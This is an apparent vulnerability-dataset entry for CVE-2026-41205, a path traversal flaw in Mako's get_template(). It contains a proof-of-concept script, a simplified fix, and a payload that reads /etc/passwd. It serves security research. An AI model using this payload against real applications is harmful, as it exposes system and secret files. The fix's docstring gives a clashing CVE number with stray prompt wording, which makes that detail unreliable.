CVE-2026-41205
Mako path traversal in `get_template()` allows reading arbitrary files.
- CVSS 7.7
- CWE-22
- Input Validation and Sanitization
- Remote
Mako is a template library written in Python. Prior to 1.3.11, TemplateLookup.get_template() is vulnerable to path traversal when a URI starts with // (e.g., //../../../secret.txt). The root cause is an inconsistency between two slash-stripping implementations. Any file readable by the process can be returned as rendered template content when an application passes untrusted input directly to TemplateLookup.get_template(). This vulnerability is fixed in 1.3.11.
- CWE
- CWE-22
- CVSS base score
- 7.7
- Published
- 2026-04-23
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- Mako
- Fixed by upgrading
- Yes
Solution
Upgrade Mako to version 1.3.11 or later.
Vulnerable code sample
import os
from mako.lookup import TemplateLookup
from mako import exceptions
# This code requires a vulnerable version of Mako (e.g., pip install mako==1.3.10)
# --- Setup a vulnerable environment ---
# Create a templates directory which is the intended root
if not os.path.exists("templates"):
os.makedirs("templates")
# Create a secret file outside the intended template directory
with open("secret.txt", "w") as f:
f.write("THIS IS SENSITIVE FILE CONTENT")
# --- Vulnerable Application Code ---
# An application creates a TemplateLookup, intending to restrict file access
# to the 'templates' directory.
lookup = TemplateLookup(directories=['templates'])
# An attacker supplies a malicious URI. In a real application, this might
# come from an HTTP request path or query parameter.
malicious_uri = '//../secret.txt'
try:
# In Mako versions prior to 1.3.11, get_template() does not properly
# sanitize the path. It strips the leading slashes and joins the path,
# allowing the '..' to traverse up from the 'templates' directory.
leaked_template = lookup.get_template(malicious_uri)
# When the "template" is rendered, the content of the arbitrary file is returned.
print("--- Attempting to render content from outside the templates directory ---")
print(leaked_template.render())
print("\n[SUCCESS] Vulnerability exploited. The content of secret.txt was leaked.")
except exceptions.TopLevelLookupException:
print("\n[INFO] Template not found. The Mako version may be patched (>= 1.3.11).")
except Exception as e:
print(f"An unexpected error occurred: {e}")
finally:
# --- Cleanup ---
if os.path.exists("secret.txt"):
os.remove("secret.txt")
if os.path.exists("templates"):
os.rmdir("templates")Patched code sample
import os
# This custom exception mimics the one used by the Mako library for context.
class TopLevelLookupException(Exception):
pass
def get_path_with_fix(base_directory, uri):
"""
A simplified function demonstrating the logic that fixes the path
traversal vulnerability CVE-2024-41205 (referenced in the prompt as
CVE-2026-41205) in Mako's TemplateLookup.get_template().
"""
# The primary fix: Explicitly check for and reject any URI starting
# with "//" before it is processed by os.path.join.
if uri.startswith('//'):
raise TopLevelLookupException(
f"Template URI '{uri}' is not allowed as it may be a path "
"traversal attempt."
)
# The URI is then stripped of leading slashes to be safely joined.
sanitized_uri = uri.lstrip('/\\')
# A subsequent check prevents other traversal techniques like "../".
if '..' in sanitized_uri.split(os.path.sep):
raise TopLevelLookupException(
f"Template URI '{uri}' is trying to break out of the "
"template directory."
)
# The path is safely joined.
full_path = os.path.join(base_directory, sanitized_uri)
# A final validation ensures the resolved path is within the base directory.
if not os.path.abspath(full_path).startswith(os.path.abspath(base_directory)):
raise TopLevelLookupException(
f"Template URI '{uri}' resolved to a path outside the "
"template directory."
)
return full_pathPayload
//../../../../etc/passwd
Cite this entry
@misc{vaitp:cve202641205,
title = {{Mako path traversal in `get_template()` allows reading arbitrary files.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-41205},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41205/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
